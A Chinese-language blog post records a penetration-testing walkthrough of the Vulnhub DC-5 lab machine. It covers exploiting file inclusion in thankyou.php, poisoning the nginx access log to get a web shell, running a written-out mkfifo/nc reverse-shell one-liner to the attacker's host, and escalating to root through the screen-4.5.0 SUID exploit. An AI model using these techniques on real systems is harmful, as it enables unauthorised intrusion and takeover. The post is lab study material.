Vulnhub靶机渗透学习记录:DC-5

环境搭建

  1. 攻击机:Kali-Linux2020.4(VmwareWorkstation)
  2. 靶机:DC-5(VirtualBox)
  3. DC-5靶机下载链接:https://www.vulnhub.com/entry/dc-5,314/
  4. Kali与DC-5配置桥接模式,并桥接到同一张网卡
  5. Kali的IP地址如下:
    在这里插入图片描述

信息收集

  1. 先使用Nmap探测Kali与DC-5所在网段存活主机,找到DC-5的IP地址:192.168.1.13
    在这里插入图片描述

  2. 进行全端口扫描,并对端口进行版本识别,发现3个端口,但只有80端口可以进行访问 :
    在这里插入图片描述
    在这里插入图片描述

  3. 访问80端口,发现了Web页面。在contact页面发现一个表单,填写并提交,提交后发现页脚的年份从2019变成了2020。
    在这里插入图片描述
    在这里插入图片描述

  4. 直接访问/thankyou.php这个文件,发现每次访问或者刷新,年份都会变化。这里很奇怪。但还未发现问题出现在哪里。
    在这里插入图片描述
    在这里插入图片描述

目录爆破

  1. 把Web页面翻了个遍,除了contact.php可以提交数据并且thankyou.php中年份有点奇怪之外,其他几个文件都是静态的,并没有什么发现。所以接下来爆破以下目录。使用宿主机上的御剑进行爆破。
    在这里插入图片描述
  2. 对爆破出的路径都尝试了访问,只有footer.php是新发现的,其他的都重新定向回到了初始页面。而footer.php显示了页脚信息。并且这个页面刷新后年份也会改变。这里考虑到thankyou.php这个文件可能调用了footer.php文件,用来显示页脚信息。所以考虑thankyou.php可能存在文件包含漏洞。
    在这里插入图片描述
    在这里插入图片描述

文件包含getshell

参数爆破

  1. 通过以上的分析,我们认为thankyou.php这个文件中可能存在文件包含漏洞,但不管是从URL还是文件源码都没有发现文件包含所用到的参数。所以尝试爆破用来包含文件的参数。
  2. 使用Burp访问thankyou.php,抓一个包发送到Intruder模块,并设置好爆破点,如下图。
    在这里插入图片描述
  3. 导入常用参数爆破字典,可在GitHub上查找。
    在这里插入图片描述
  4. 开始爆破,通过爆破发现file参数响应报文的长度与其他参数不同,查看页面发现这个页面中的页脚信息没有显示,因为在设置爆破Payload时,设置了参数的值为空。所以会导致页脚信息消失,这也进一步证明了file就是我们要找的文件包含的参数。
    在这里插入图片描述
  5. 将访问thankyou.php的请求发送到Repeater模块,尝试包含/etc/passwd,发现成功包含。
    在这里插入图片描述

文件包含利用

  1. 由于对文件包含的利用方式不是很了解,所以在利用上进行了一些尝试,最后通过包含服务器日志文件来获取shell。参考文章:干货 | 文件包含漏洞利用方式总结与防御

  2. 在信息收集阶段,就发现Web服务器是nginx,所以需要找到nginx的日志文件所在的路径。
    在这里插入图片描述
    通过搜索,找到了日志文件所在的路径。

    /var/log/nginx/access.log
    /var/log/nginx/errors.log
    
  3. 通过文件包含,成功包含访问日志文件。
    在这里插入图片描述

  4. 查看日志的内容,可以发现日志记录了访问Web页面的记录,记录中记录了请求、UA、IP等信息。
    在这里插入图片描述

  5. 尝试通过将UA信息修改为PHP一句话,从而获取到一个蚁剑shell。
    用Burp抓包,将UA信息修改为PHP一句话,然后放包。
    在这里插入图片描述
    再次访问日志,发现了上一步的请求信息,发现加入的UA信息并没有显示出了,可能是被浏览器解析了。
    在这里插入图片描述
    所以尝试用蚁剑进行连接,发现可以成功连接。成功获取到shell。
    在这里插入图片描述
    进入后,查看thankyou.php文件,发现文件包含漏洞的位置,这明显故意的😀。
    在这里插入图片描述

  6. 反弹一个shell到Kali,由于靶机上的nc不存在-e参数,所以在Kali上侦听后,在蚁剑终端中使用如下命令进行反弹shell。
    在Kali上执行:

    	nc -lvnp 8888
    

    在这里插入图片描述
    在蚁剑终端上执行:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.12 8888 >/tmp/f
    

    在这里插入图片描述

    nc成功接收到shell:
    在这里插入图片描述

权限提升

  1. 使用sudo -l 查看有无有特殊权限的文件,发现直接没有sudo命令。
    在这里插入图片描述

  2. 查看是否有SUID提权,发现一个叫screen-4.5.0的程序。

    find / -user root -perm -4000 -print 2>/dev/null
    

    在这里插入图片描述

  3. 使用searchsploit尝试搜索exp,居然直接搜索到提权脚本。

    searchsploit screen-4.5.0
    

    在这里插入图片描述

  4. 查看提权脚本的内容,发现是一个bash脚本,会编译并运行C语言代码,达到提权的目的。
    在这里插入图片描述

  5. 将该脚本上传到靶机,尝试进行提权。
    Kali:复制该脚本到/tmp目录后,使用python开启一个服务供靶机下载脚本。

    python -m SimpleHTTPServer
    

    在这里插入图片描述
    靶机:切换到/tmp目录下,使用wget下载脚本文件。
    在这里插入图片描述

  6. 给下载好的脚本加上权限,并执行。但是发现脚本文件有点问题,前面遇到过这个问题,是脚本中的编码错误。
    在这里插入图片描述

  7. 在Kali端使用Vim尝试修改文件。只需要Vim打开文件,然后键入以下内容后,回车,保存退出便可。

    :set ff=unix
    

    在这里插入图片描述

  8. 重新将文件下载到上,修改权限,并尝试执行。发现成功获取到root权限。
    在这里插入图片描述

  9. 在/root目录下,成功获取到flag。
    在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值